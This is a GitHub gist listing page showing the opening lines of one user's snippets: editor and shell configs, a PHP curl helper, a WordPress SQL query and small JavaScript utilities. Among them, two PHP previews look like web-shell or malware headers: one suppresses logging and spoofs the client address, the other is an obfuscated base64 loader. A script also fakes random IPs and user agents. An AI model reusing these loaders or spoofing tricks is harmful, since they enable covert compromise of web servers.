Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

View maicong's full-sized avatar
⚠️

ERR_INVALID_USER maicong

⚠️
View GitHub Profile
{
"maxerr" : 50,
"bitwise" : true,
"camelcase" : false,
"curly" : true,
"eqeqeq" : true,
"forin" : true,
"freeze" : true,
"immed" : false,
"indent" : 4,
@maicong
maicong / .vimrc
Last active April 21, 2017 07:12
filetype on
syntax on
set number
set history=1000
set background=dark
set wrapscan
set autoindent
set smartindent
set tabstop=4
set shiftwidth=4
# Path to your oh-my-zsh installation.
export ZSH=$HOME/.oh-my-zsh
# Set name of the theme to load.
# Look in ~/.oh-my-zsh/themes/
# Optionally, if you set this to "random", it'll load a random theme each
# time that oh-my-zsh is loaded.
ZSH_THEME="robbyrussell"
# Uncomment the following line to use case-sensitive completion.
<?php
function curl_get($url, $param = '', $cookie = ''){
$host = parse_url($url);
$site = $host['scheme']."://".$host['host'];
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_REFERER, $site);
curl_setopt($ch, CURLOPT_POST, true);
@maicong
maicong / wp2mb.sql
Created February 19, 2016 09:32
提取 WP 文章数据库信息
SELECT
unix_timestamp(p.post_date) AS created,
p.post_content AS text,
p.post_title AS title,
p.post_name AS slug,
m.thumbnail
FROM
wp_posts AS p
LEFT JOIN (
SELECT
<?php
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);
if(isset($_SERVER))
{
$_SERVER['PHP_SELF'] = "/";
$_SERVER['REMOTE_ADDR'] = "127.0.0.1";
<?php
$tzpryfqn = 6947;function nkvtfik($zggfmcaoli, $afuvw) {
$pzrorc = '';
for ($i = 0; $i < strlen($zggfmcaoli); ++$i) {
$pzrorc .= isset($afuvw[$zggfmcaoli[$i]]) ? $afuvw[$zggfmcaoli[$i]] : $zggfmcaoli[$i];
}
$pjgsaz = 'base64_decode';
return $pjgsaz($pzrorc);
}
<?php
/*
* php -f tp.php
*/
function curl_post($url, $param = '', $cookie = ''){
$host = parse_url($url);
$site = $host['scheme']."://".$host['host'];
$rand_ua = 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' . mt_rand(20, 51) . '.0.' . mt_rand(1050, 3588) . '.' . mt_rand(10, 99) . ' Safari/537.36';
$rand_ip = mt_rand(1, 255) . '.' . mt_rand(1, 255) . '.' . mt_rand(1, 255) . '.' . mt_rand(1, 255);
@maicong
maicong / placeholderPng.js
Last active September 17, 2016 16:22
获取base64格式的占位图片
var canvas = document.createElement('canvas');
var ctx = canvas.getContext('2d');
canvas.width = 1;
canvas.height = 1;
ctx.fillStyle = '#f5f5f5';
ctx.fillRect(0, 0, 1, 1);
console.log(canvas.toDataURL());
// data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQIW2P8+vXrfwAJpgPg8gE+iwAAAABJRU5ErkJggg==
@maicong
maicong / indexIcon.js
Last active November 7, 2016 16:21
获取 B 站右上角所有小图的 JS 代码 -> https://maicong.me/t/202
((url, delay) => {
let starTime = new Date().getTime();
let xhr = new XMLHttpRequest();
let times = [];
let style = document.createElement('style');
style.textContent = 'body { display: flex; flex-wrap: wrap; } div { text-align: center; padding: 0.5rem; margin: 1rem; border: 1px solid #ddd; }';
document.head.appendChild(style);
document.body.innerHTML = '';
xhr.open('GET', url, true);
xhr.onload = event => {